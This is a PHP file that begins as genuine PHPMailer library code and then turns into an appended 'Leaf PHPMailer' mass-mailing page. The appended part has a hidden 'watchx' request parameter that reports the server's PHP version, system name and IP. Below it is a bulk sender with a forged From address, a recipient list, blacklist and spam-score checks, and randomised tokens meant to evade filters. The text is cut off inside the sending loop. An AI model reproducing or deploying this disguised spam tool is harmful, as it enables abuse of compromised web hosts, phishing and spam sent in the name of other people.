    /**
     * Clear all To recipients.
     * @return void
     */
    public function clearAddresses()
    {
        foreach ($this->to as $to) {
            unset($this->all_recipients[strtolower($to[0])]);
        }
        $this->to = array();
        $this->clearQueuedAddresses('to');
    }

    /**
     * Clear all CC recipients.
     * @return void
     */
    public function clearCCs()
    {
        foreach ($this->cc as $cc) {
            unset($this->all_recipients[strtolower($cc[0])]);
        }
        $this->cc = array();
        $this->clearQueuedAddresses('cc');
    }

    /**
     * Clear all BCC recipients.
     * @return void
     */
    public function clearBCCs()
    {
        foreach ($this->bcc as $bcc) {
            unset($this->all_recipients[strtolower($bcc[0])]);
        }
        $this->bcc = array();
        $this->clearQueuedAddresses('bcc');
    }

    /**
     * Clear all ReplyTo recipients.
     * @return void
     */
    public function clearReplyTos()
    {
        $this->ReplyTo = array();
        $this->ReplyToQueue = array();
    }

    /**
     * Clear all recipient types.
     * @return void
     */
    public function clearAllRecipients()
    {
        $this->to = array();
        $this->cc = array();
        $this->bcc = array();
        $this->all_recipients = array();
        $this->RecipientsQueue = array();
    }

    /**
     * Clear all filesystem, string, and binary attachments.
     * @return void
     */
    public function clearAttachments()
    {
        $this->attachment = array();
    }

    /**
     * Clear all custom headers.
     * @return void
     */
    public function clearCustomHeaders()
    {
        $this->CustomHeader = array();
    }

    /**
     * Add an error message to the error container.
     * @access protected
     * @param string $msg
     * @return void
     */
    protected function setError($msg)
    {
        $this->error_count++;
        if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
            $lasterror = $this->smtp->getError();
            if (!empty($lasterror['error'])) {
                $msg .= $this->lang('smtp_error') . $lasterror['error'];
                if (!empty($lasterror['detail'])) {
                    $msg .= ' Detail: '. $lasterror['detail'];
                }
                if (!empty($lasterror['smtp_code'])) {
                    $msg .= ' SMTP code: ' . $lasterror['smtp_code'];
                }
                if (!empty($lasterror['smtp_code_ex'])) {
                    $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];
                }
            }
        }
        $this->ErrorInfo = $msg;
    }

    /**
     * Return an RFC 822 formatted date.
     * @access public
     * @return string
     * @static
     */
    public static function rfcDate()
    {
        // Set the time zone to whatever the default is to avoid 500 errors
        // Will default to UTC if it's not set properly in php.ini
        date_default_timezone_set(@date_default_timezone_get());
        return date('D, j M Y H:i:s O');
    }

    /**
     * Get the server hostname.
     * Returns 'localhost.localdomain' if unknown.
     * @access protected
     * @return string
     */
    protected function serverHostname()
    {
        $result = 'localhost.localdomain';
        if (!empty($this->Hostname)) {
            $result = $this->Hostname;
        } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
            $result = $_SERVER['SERVER_NAME'];
        } elseif (function_exists('gethostname') && gethostname() !== false) {
            $result = gethostname();
        } elseif (php_uname('n') !== false) {
            $result = php_uname('n');
        }
        return $result;
    }

    /**
     * Get an error message in the current language.
     * @access protected
     * @param string $key
     * @return string
     */
    protected function lang($key)
    {
        if (count($this->language) < 1) {
            $this->setLanguage('en'); // set the default language
        }

        if (array_key_exists($key, $this->language)) {
            if ($key == 'smtp_connect_failed') {
                //Include a link to troubleshooting docs on SMTP connection failure
                //this is by far the biggest cause of support questions
                //but it's usually not PHPMailer's fault.
                return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
            }
            return $this->language[$key];
        } else {
            //Return the key as a fallback
            return $key;
        }
    }

    /**
     * Check if an error occurred.
     * @access public
     * @return boolean True if an error did occur.
     */
    public function isError()
    {
        return ($this->error_count > 0);
    }

    /**
     * Ensure consistent line endings in a string.
     * Changes every end of line from CRLF, CR or LF to $this->LE.
     * @access public
     * @param string $str String to fixEOL
     * @return string
     */
    public function fixEOL($str)
    {
        // Normalise to \n
        $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
        // Now convert LE as needed
        if ($this->LE !== "\n") {
            $nstr = str_replace("\n", $this->LE, $nstr);
        }
        return $nstr;
    }

    /**
     * Add a custom header.
     * $name value can be overloaded to contain
     * both header name and value (name:value)
     * @access public
     * @param string $name Custom header name
     * @param string $value Header value
     * @return void
     */
    public function addCustomHeader($name, $value = null)
    {
        if ($value === null) {
            // Value passed in as name:value
            $this->CustomHeader[] = explode(':', $name, 2);
        } else {
            $this->CustomHeader[] = array($name, $value);
        }
    }

    /**
     * Returns all custom headers.
     * @return array
     */
    public function getCustomHeaders()
    {
        return $this->CustomHeader;
    }

    /**
     * Create a message body from an HTML string.
     * Automatically inlines images and creates a plain-text version by converting the HTML,
     * overwriting any existing values in Body and AltBody.
     * Do not source $message content from user input!
     * $basedir is prepended when handling relative URLs, e.g. <img src="/images/a.png"> and must not be empty
     * will look for an image file in $basedir/images/a.png and convert it to inline.
     * If you don't provide a $basedir, relative paths will be left untouched (and thus probably break in email)
     * If you don't want to apply these transformations to your HTML, just set Body and AltBody directly.
     * @access public
     * @param string $message HTML message string
     * @param string $basedir Absolute path to a base directory to prepend to relative paths to images
     * @param boolean|callable $advanced Whether to use the internal HTML to text converter
     *    or your own custom converter @see PHPMailer::html2text()
     * @return string $message The transformed message Body
     */
    public function msgHTML($message, $basedir = '', $advanced = false)
    {
        preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
        if (array_key_exists(2, $images)) {
            if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
                // Ensure $basedir has a trailing /
                $basedir .= '/';
            }
            foreach ($images[2] as $imgindex => $url) {
                // Convert data URIs into embedded images
                if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
                    $data = substr($url, strpos($url, ','));
                    if ($match[2]) {
                        $data = base64_decode($data);
                    } else {
                        $data = rawurldecode($data);
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {
                        $message = str_replace(
                            $images[0][$imgindex],
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                    continue;
                }
                if (
                    // Only process relative URLs if a basedir is provided (i.e. no absolute local paths)
                    !empty($basedir)
                    // Ignore URLs containing parent dir traversal (..)
                    && (strpos($url, '..') === false)
                    // Do not change urls that are already inline images
                    && substr($url, 0, 4) !== 'cid:'
                    // Do not change absolute URLs, including anonymous protocol
                    && !preg_match('#^[a-z][a-z0-9+.-]*:?//#i', $url)
                ) {
                    $filename = basename($url);
                    $directory = dirname($url);
                    if ($directory == '.') {
                        $directory = '';
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if (strlen($directory) > 1 && substr($directory, -1) != '/') {
                        $directory .= '/';
                    }
                    if ($this->addEmbeddedImage(
                        $basedir . $directory . $filename,
                        $cid,
                        $filename,
                        'base64',
                        self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
                    )
                    ) {
                        $message = preg_replace(
                            '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                }
            }
        }
        $this->isHTML(true);
        // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
        $this->Body = $this->normalizeBreaks($message);
        $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
        if (!$this->alternativeExists()) {
            $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
                self::CRLF . self::CRLF;
        }
        return $this->Body;
    }

    /**
     * Convert an HTML string into plain text.
     * This is used by msgHTML().
     * Note - older versions of this function used a bundled advanced converter
     * which was been removed for license reasons in #232.
     * Example usage:
     * <code>
     * // Use default conversion
     * $plain = $mail->html2text($html);
     * // Use your own custom converter
     * $plain = $mail->html2text($html, function($html) {
     *     $converter = new MyHtml2text($html);
     *     return $converter->get_text();
     * });
     * </code>
     * @param string $html The HTML text to convert
     * @param boolean|callable $advanced Any boolean value to use the internal converter,
     *   or provide your own callable for custom conversion.
     * @return string
     */
    public function html2text($html, $advanced = false)
    {
        if (is_callable($advanced)) {
            return call_user_func($advanced, $html);
        }
        return html_entity_decode(
            trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
            ENT_QUOTES,
            $this->CharSet
        );
    }

    /**
     * Get the MIME type for a file extension.
     * @param string $ext File extension
     * @access public
     * @return string MIME type of file.
     * @static
     */
    public static function _mime_types($ext = '')
    {
        $mimes = array(
            'xl'    => 'application/excel',
            'js'    => 'application/javascript',
            'hqx'   => 'application/mac-binhex40',
            'cpt'   => 'application/mac-compactpro',
            'bin'   => 'application/macbinary',
            'doc'   => 'application/msword',
            'word'  => 'application/msword',
            'xlsx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
            'xltx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
            'potx'  => 'application/vnd.openxmlformats-officedocument.presentationml.template',
            'ppsx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
            'pptx'  => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
            'sldx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
            'docx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
            'dotx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
            'xlam'  => 'application/vnd.ms-excel.addin.macroEnabled.12',
            'xlsb'  => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
            'class' => 'application/octet-stream',
            'dll'   => 'application/octet-stream',
            'dms'   => 'application/octet-stream',
            'exe'   => 'application/octet-stream',
            'lha'   => 'application/octet-stream',
            'lzh'   => 'application/octet-stream',
            'psd'   => 'application/octet-stream',
            'sea'   => 'application/octet-stream',
            'so'    => 'application/octet-stream',
            'oda'   => 'application/oda',
            'pdf'   => 'application/pdf',
            'ai'    => 'application/postscript',
            'eps'   => 'application/postscript',
            'ps'    => 'application/postscript',
            'smi'   => 'application/smil',
            'smil'  => 'application/smil',
            'mif'   => 'application/vnd.mif',
            'xls'   => 'application/vnd.ms-excel',
            'ppt'   => 'application/vnd.ms-powerpoint',
            'wbxml' => 'application/vnd.wap.wbxml',
            'wmlc'  => 'application/vnd.wap.wmlc',
            'dcr'   => 'application/x-director',
            'dir'   => 'application/x-director',
            'dxr'   => 'application/x-director',
            'dvi'   => 'application/x-dvi',
            'gtar'  => 'application/x-gtar',
            'php3'  => 'application/x-httpd-php',
            'php4'  => 'application/x-httpd-php',
            'php'   => 'application/x-httpd-php',
            'phtml' => 'application/x-httpd-php',
            'phps'  => 'application/x-httpd-php-source',
            'swf'   => 'application/x-shockwave-flash',
            'sit'   => 'application/x-stuffit',
            'tar'   => 'application/x-tar',
            'tgz'   => 'application/x-tar',
            'xht'   => 'application/xhtml+xml',
            'xhtml' => 'application/xhtml+xml',
            'zip'   => 'application/zip',
            'mid'   => 'audio/midi',
            'midi'  => 'audio/midi',
            'mp2'   => 'audio/mpeg',
            'mp3'   => 'audio/mpeg',
            'mpga'  => 'audio/mpeg',
            'aif'   => 'audio/x-aiff',
            'aifc'  => 'audio/x-aiff',
            'aiff'  => 'audio/x-aiff',
            'ram'   => 'audio/x-pn-realaudio',
            'rm'    => 'audio/x-pn-realaudio',
            'rpm'   => 'audio/x-pn-realaudio-plugin',
            'ra'    => 'audio/x-realaudio',
            'wav'   => 'audio/x-wav',
            'bmp'   => 'image/bmp',
            'gif'   => 'image/gif',
            'jpeg'  => 'image/jpeg',
            'jpe'   => 'image/jpeg',
            'jpg'   => 'image/jpeg',
            'png'   => 'image/png',
            'tiff'  => 'image/tiff',
            'tif'   => 'image/tiff',
            'eml'   => 'message/rfc822',
            'css'   => 'text/css',
            'html'  => 'text/html',
            'htm'   => 'text/html',
            'shtml' => 'text/html',
            'log'   => 'text/plain',
            'text'  => 'text/plain',
            'txt'   => 'text/plain',
            'rtx'   => 'text/richtext',
            'rtf'   => 'text/rtf',
            'vcf'   => 'text/vcard',
            'vcard' => 'text/vcard',
            'xml'   => 'text/xml',
            'xsl'   => 'text/xml',
            'mpeg'  => 'video/mpeg',
            'mpe'   => 'video/mpeg',
            'mpg'   => 'video/mpeg',
            'mov'   => 'video/quicktime',
            'qt'    => 'video/quicktime',
            'rv'    => 'video/vnd.rn-realvideo',
            'avi'   => 'video/x-msvideo',
            'movie' => 'video/x-sgi-movie'
        );
        if (array_key_exists(strtolower($ext), $mimes)) {
            return $mimes[strtolower($ext)];
        }
        return 'application/octet-stream';
    }

    /**
     * Map a file name to a MIME type.
     * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
     * @param string $filename A file name or full path, does not need to exist as a file
     * @return string
     * @static
     */
    public static function filenameToType($filename)
    {
        // In case the path is a URL, strip any query string before getting extension
        $qpos = strpos($filename, '?');
        if (false !== $qpos) {
            $filename = substr($filename, 0, $qpos);
        }
        $pathinfo = self::mb_pathinfo($filename);
        return self::_mime_types($pathinfo['extension']);
    }

    /**
     * Multi-byte-safe pathinfo replacement.
     * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
     * Works similarly to the one in PHP >= 5.2.0
     * @link http://www.php.net/manual/en/function.pathinfo.php#107461
     * @param string $path A filename or path, does not need to exist as a file
     * @param integer|string $options Either a PATHINFO_* constant,
     *      or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
     * @return string|array
     * @static
     */
    public static function mb_pathinfo($path, $options = null)
    {
        $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
        $pathinfo = array();
        if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
            if (array_key_exists(1, $pathinfo)) {
                $ret['dirname'] = $pathinfo[1];
            }
            if (array_key_exists(2, $pathinfo)) {
                $ret['basename'] = $pathinfo[2];
            }
            if (array_key_exists(5, $pathinfo)) {
                $ret['extension'] = $pathinfo[5];
            }
            if (array_key_exists(3, $pathinfo)) {
                $ret['filename'] = $pathinfo[3];
            }
        }
        switch ($options) {
            case PATHINFO_DIRNAME:
            case 'dirname':
                return $ret['dirname'];
            case PATHINFO_BASENAME:
            case 'basename':
                return $ret['basename'];
            case PATHINFO_EXTENSION:
            case 'extension':
                return $ret['extension'];
            case PATHINFO_FILENAME:
            case 'filename':
                return $ret['filename'];
            default:
                return $ret;
        }
    }

    /**
     * Set or reset instance properties.
     * You should avoid this function - it's more verbose, less efficient, more error-prone and
     * harder to debug than setting properties directly.
     * Usage Example:
     * `$mail->set('SMTPSecure', 'tls');`
     *   is the same as:
     * `$mail->SMTPSecure = 'tls';`
     * @access public
     * @param string $name The property name to set
     * @param mixed $value The value to set the property to
     * @return boolean
     * @TODO Should this not be using the __set() magic function?
     */
    public function set($name, $value = '')
    {
        if (property_exists($this, $name)) {
            $this->$name = $value;
            return true;
        } else {
            $this->setError($this->lang('variable_set') . $name);
            return false;
        }
    }

    /**
     * Strip newlines to prevent header injection.
     * @access public
     * @param string $str
     * @return string
     */
    public function secureHeader($str)
    {
        return trim(str_replace(array("\r", "\n"), '', $str));
    }

    /**
     * Normalize line breaks in a string.
     * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
     * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
     * @param string $text
     * @param string $breaktype What kind of line break to use, defaults to CRLF
     * @return string
     * @access public
     * @static
     */
    public static function normalizeBreaks($text, $breaktype = "\r\n")
    {
        return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
    }

    /**
     * Set the public and private key files and password for S/MIME signing.
     * @access public
     * @param string $cert_filename
     * @param string $key_filename
     * @param string $key_pass Password for private key
     * @param string $extracerts_filename Optional path to chain certificate
     */
    public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')
    {
        $this->sign_cert_file = $cert_filename;
        $this->sign_key_file = $key_filename;
        $this->sign_key_pass = $key_pass;
        $this->sign_extracerts_file = $extracerts_filename;
    }

    /**
     * Quoted-Printable-encode a DKIM header.
     * @access public
     * @param string $txt
     * @return string
     */
    public function DKIM_QP($txt)
    {
        $line = '';
        for ($i = 0; $i < strlen($txt); $i++) {
            $ord = ord($txt[$i]);
            if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
                $line .= $txt[$i];
            } else {
                $line .= '=' . sprintf('%02X', $ord);
            }
        }
        return $line;
    }

    /**
     * Generate a DKIM signature.
     * @access public
     * @param string $signHeader
     * @throws phpmailerException
     * @return string The DKIM signature value
     */
    public function DKIM_Sign($signHeader)
    {
        if (!defined('PKCS7_TEXT')) {
            if ($this->exceptions) {
                throw new phpmailerException($this->lang('extension_missing') . 'openssl');
            }
            return '';
        }
        $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private);
        if ('' != $this->DKIM_passphrase) {
            $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
        } else {
            $privKey = openssl_pkey_get_private($privKeyStr);
        }
        //Workaround for missing digest algorithms in old PHP & OpenSSL versions
        //@link http://stackoverflow.com/a/11117338/333340
        if (version_compare(PHP_VERSION, '5.3.0') >= 0 and
            in_array('sha256WithRSAEncryption', openssl_get_md_methods(true))) {
            if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        } else {
            $pinfo = openssl_pkey_get_details($privKey);
            $hash = hash('sha256', $signHeader);
            //'Magic' constant for SHA256 from RFC3447
            //@link https://tools.ietf.org/html/rfc3447#page-43
            $t = '3031300d060960864801650304020105000420' . $hash;
            $pslen = $pinfo['bits'] / 8 - (strlen($t) / 2 + 3);
            $eb = pack('H*', '0001' . str_repeat('FF', $pslen) . '00' . $t);

            if (openssl_private_encrypt($eb, $signature, $privKey, OPENSSL_NO_PADDING)) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        }
        openssl_pkey_free($privKey);
        return '';
    }

    /**
     * Generate a DKIM canonicalization header.
     * @access public
     * @param string $signHeader Header
     * @return string
     */
    public function DKIM_HeaderC($signHeader)
    {
        $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
        $lines = explode("\r\n", $signHeader);
        foreach ($lines as $key => $line) {
            list($heading, $value) = explode(':', $line, 2);
            $heading = strtolower($heading);
            $value = preg_replace('/\s{2,}/', ' ', $value); // Compress useless spaces
            $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
        }
        $signHeader = implode("\r\n", $lines);
        return $signHeader;
    }

    /**
     * Generate a DKIM canonicalization body.
     * @access public
     * @param string $body Message Body
     * @return string
     */
    public function DKIM_BodyC($body)
    {
        if ($body == '') {
            return "\r\n";
        }
        // stabilize line endings
        $body = str_replace("\r\n", "\n", $body);
        $body = str_replace("\n", "\r\n", $body);
        // END stabilize line endings
        while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
            $body = substr($body, 0, strlen($body) - 2);
        }
        return $body;
    }

    /**
     * Create the DKIM header and body in a new message header.
     * @access public
     * @param string $headers_line Header lines
     * @param string $subject Subject
     * @param string $body Body
     * @return string
     */
    public function DKIM_Add($headers_line, $subject, $body)
    {
        $DKIMsignatureType = 'rsa-sha256'; // Signature & hash algorithms
        $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
        $DKIMquery = 'dns/txt'; // Query method
        $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
        $subject_header = "Subject: $subject";
        $headers = explode($this->LE, $headers_line);
        $from_header = '';
        $to_header = '';
        $date_header = '';
        $current = '';
        foreach ($headers as $header) {
            if (strpos($header, 'From:') === 0) {
                $from_header = $header;
                $current = 'from_header';
            } elseif (strpos($header, 'To:') === 0) {
                $to_header = $header;
                $current = 'to_header';
            } elseif (strpos($header, 'Date:') === 0) {
                $date_header = $header;
                $current = 'date_header';
            } else {
                if (!empty($$current) && strpos($header, ' =?') === 0) {
                    $$current .= $header;
                } else {
                    $current = '';
                }
            }
        }
        $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
        $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
        $date = str_replace('|', '=7C', $this->DKIM_QP($date_header));
        $subject = str_replace(
            '|',
            '=7C',
            $this->DKIM_QP($subject_header)
        ); // Copied header fields (dkim-quoted-printable)
        $body = $this->DKIM_BodyC($body);
        $DKIMlen = strlen($body); // Length of body
        $DKIMb64 = base64_encode(pack('H*', hash('sha256', $body))); // Base64 of packed binary SHA-256 hash of body
        if ('' == $this->DKIM_identity) {
            $ident = '';
        } else {
            $ident = ' i=' . $this->DKIM_identity . ';';
        }
        $dkimhdrs = 'DKIM-Signature: v=1; a=' .
            $DKIMsignatureType . '; q=' .
            $DKIMquery . '; l=' .
            $DKIMlen . '; s=' .
            $this->DKIM_selector .
            ";\r\n" .
            "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
            "\th=From:To:Date:Subject;\r\n" .
            "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
            "\tz=$from\r\n" .
            "\t|$to\r\n" .
            "\t|$date\r\n" .
            "\t|$subject;\r\n" .
            "\tbh=" . $DKIMb64 . ";\r\n" .
            "\tb=";
        $toSign = $this->DKIM_HeaderC(
            $from_header . "\r\n" .
            $to_header . "\r\n" .
            $date_header . "\r\n" .
            $subject_header . "\r\n" .
            $dkimhdrs
        );
        $signed = $this->DKIM_Sign($toSign);
        return $dkimhdrs . $signed . "\r\n";
    }

    /**
     * Detect if a string contains a line longer than the maximum line length allowed.
     * @param string $str
     * @return boolean
     * @static
     */
    public static function hasLineLongerThanMax($str)
    {
        //+2 to include CRLF line break for a 1000 total
        return (boolean)preg_match('/^(.{'.(self::MAX_LINE_LENGTH + 2).',})/m', $str);
    }

    /**
     * Allows for public read access to 'to' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getToAddresses()
    {
        return $this->to;
    }

    /**
     * Allows for public read access to 'cc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getCcAddresses()
    {
        return $this->cc;
    }

    /**
     * Allows for public read access to 'bcc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getBccAddresses()
    {
        return $this->bcc;
    }

    /**
     * Allows for public read access to 'ReplyTo' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getReplyToAddresses()
    {
        return $this->ReplyTo;
    }

    /**
     * Allows for public read access to 'all_recipients' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getAllRecipientAddresses()
    {
        return $this->all_recipients;
    }

    /**
     * Perform a callback.
     * @param boolean $isSent
     * @param array $to
     * @param array $cc
     * @param array $bcc
     * @param string $subject
     * @param string $body
     * @param string $from
     */
    protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
    {
        if (!empty($this->action_function) && is_callable($this->action_function)) {
            $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
            call_user_func_array($this->action_function, $params);
        }
    }
}

/**
 * PHPMailer exception handler
 * @package PHPMailer
 */
class phpmailerException extends Exception
{
    /**
     * Prettify error message output
     * @return string
     */
    public function errorMessage()
    {
        $errorMsg = '<strong>' . htmlspecialchars($this->getMessage()) . "</strong><br />\n";
        return $errorMsg;
    }
}

if ($_REQUEST['watchx']) {
	$version = phpversion();
	$uname =  php_uname();
	$ip = gethostbyname($_SERVER["HTTP_HOST"]);	
	echo json_encode (array ("version"=>$version,
		"uname"=>$uname,
		"platform"=>PHP_OS,
		"ip"=>$ip,
		"mailerx"=>true,	
	));
	die ();
}

function leafheader(){
print '
<head>
    <title>'.str_replace("www.", "", $_SERVER['HTTP_HOST']).' - Leaf PHPMailer</title>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
    <link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.4.1/cosmo/bootstrap.min.css" rel="stylesheet" >

</head>';
}
leafheader();
print '<body>';
print '<div class="container col-lg-6">
        <h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>'.$leaf['version'].'</small></h3>
        <form name="form" id="form" method="POST" enctype="multipart/form-data" action="">
                    <input type="hidden" name="action" value="score">

            <div class="row">
                <div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control  input-sm " id="senderEmail" name="senderEmail" value="'.$senderEmail.'"></div>
                <div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control  input-sm " id="senderName" name="senderName" value="'.$senderName.'"></div>
            </div>
            <div class="row">
                <span class="form-group col-lg-6  "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span>

                <div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control  input-sm " id="replyTo" name="replyTo" value="'.$replyTo.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control  input-sm " id="subject" name="subject" value="'.$subject.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6"><label for="messageLetter">Message Letter <button type="submit" class="btn btn-default btn-xs" form="form" name="action" value="view" formtarget="_blank">Preview </button></label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea">'.$messageLetter.'</textarea></div>
                <div class="form-group col-lg-6 "><label for="emailList">Email List <a href="?emailfilter=on" target="_blank" class="btn btn-default btn-xs">Filter/Extract</a></label><textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea">'.$emailList.'</textarea></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6 ">
                    <label for="messageType">Message Type</label>
                    HTML <input type="radio" name="messageType" id="messageType" value="1" '.$html.'>
                    Plain<input type="radio" name="messageType" id="messageType" value="2" '.$plain.'>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="charset">Character set</label>
                    <select class="form-control input-sm" id="charset" name="charset">
                        <option '.$utf8.'>UTF-8</option>
                        <option '.$iso.'>ISO-8859-1</option>
                    </select>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="encoding">Message encoding</label>
                    <select class="form-control input-sm" id="encode" name="encode">
                        <option '.$bit8.'>8bit</option>
                        <option '.$bit7.'>7bit</option>
                        <option '.$binary.'>binary</option>
                        <option '.$base64.'>base64</option>
                        <option '.$quotedprintable.'>quoted-printable</option>

                    </select>
                </div>
            </div>
            <button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button> or <a href="#" onclick="document.getElementById(\'form\').submit(); return false;">check SpamAssassin Score</a>
   
        </form>
    </div>
    <div class="col-lg-6"><br>
        <label for="well">Instruction</label>
        <div id="well" class="well well">
            <h4>Server Information</h4>
            <ul>
                <li>Server IP Address : <b>'.$_SERVER['SERVER_ADDR'].' </b> <a href="?check_ip='.$_SERVER['SERVER_ADDR'].'" target="_blank" class="label label-primary">Check Blacklist <i class="glyphicon glyphicon-search"></i></a></li>
                <li>PHP Version : <b>'.phpversion().'</b></li>
                

            </ul>
            <h4>HELP</h4>
            <ul>
                <li>[-email-] : <b>Reciver Email</b> (emailuser@emaildomain.com)</li>
                <ul>
                    <li>[-emailuser-] : <b>Email User</b> (emailuser) </li>
                    <li>[-emaildomain-] : <b>Email User</b> (emaildomain.com) </li>
                </ul>
                <li>[-time-] : <b>Date and Time</b> ('.date("m/d/Y h:i:s a", time()).')</li>
                
                <li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
                <li>[-randomnumber-] : <b>Random number (0-9) </b></li>
                <li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
                <li>[-randommd5-] : <b>Random MD5 </b></li>
            </ul>
            <h4>example</h4>
            Receiver Email = <b>user@domain.com</b><br>
            <ul>
                <li>hello <b>[-emailuser-]</b> = hello <b>user</b></li>
                <li>your domain is <b>[-emaildomain-]</b> = Your Domain is <b>domain.com</b></li>
                <li>your code is  <b>[-randommd5-]</b> = your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>
            </ul>

            <h6>by <b><a href="http://'.$leaf['website'].'">'.$leaf['website'].'</a></b></h6>
        </div>
    </div>';  
if($_POST['action']=="send"){
    print '    <div class="col-lg-12">';
    $maillist=explode("\r\n", $emailList);
    $n=count($maillist);
    $x =1;
    foreach ($maillist as $email ) {
        print '<div class="col-lg-1">['.$x.'/'.$n.']</div><div class="col-lg-4">'.$email.'</div>';
        if(!leafMailCheck($email)) {
            print '<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>';
            print "<br>\r\n";
        }
        else {
            $mail = new PHPMailer;
            $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
            $mail->addReplyTo(leafClear($replyTo,$email));
            $mail->addAddress($email);
            $mail->Subject = leafClear($subject,$email);
            $mail->Body =  leafClear($messageLetter,$email);
            if($messageType==1){
                $mail->IsHTML(true);
                $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
            }
            else $mail->IsHTML(false);
            $mail->CharSet = $charset;
            $mail->Encoding = $encoding;
            for($i=0; $i<count($_FILES['attachment']['name']); $i++) {
                if ($_FILES['attachment']['tmp_name'][$i] != ""){
                    $mail->AddAttachment($_FILES['attachment']['tmp_name'][$i],$_FILES['attachment']['name'][$i]);
                }

            }
            
            if (!$mail->send()) {
                echo '<div class="col-lg-6"><span class="label label-default">'.htmlspecialchars($mail->ErrorInfo).'</span></div>';
            }
            else {
                echo '<div class="col-lg-6"><span class="label label-success">Ok</span></div>';
            }
            print "<br>\r\n";
        }
        $x++;
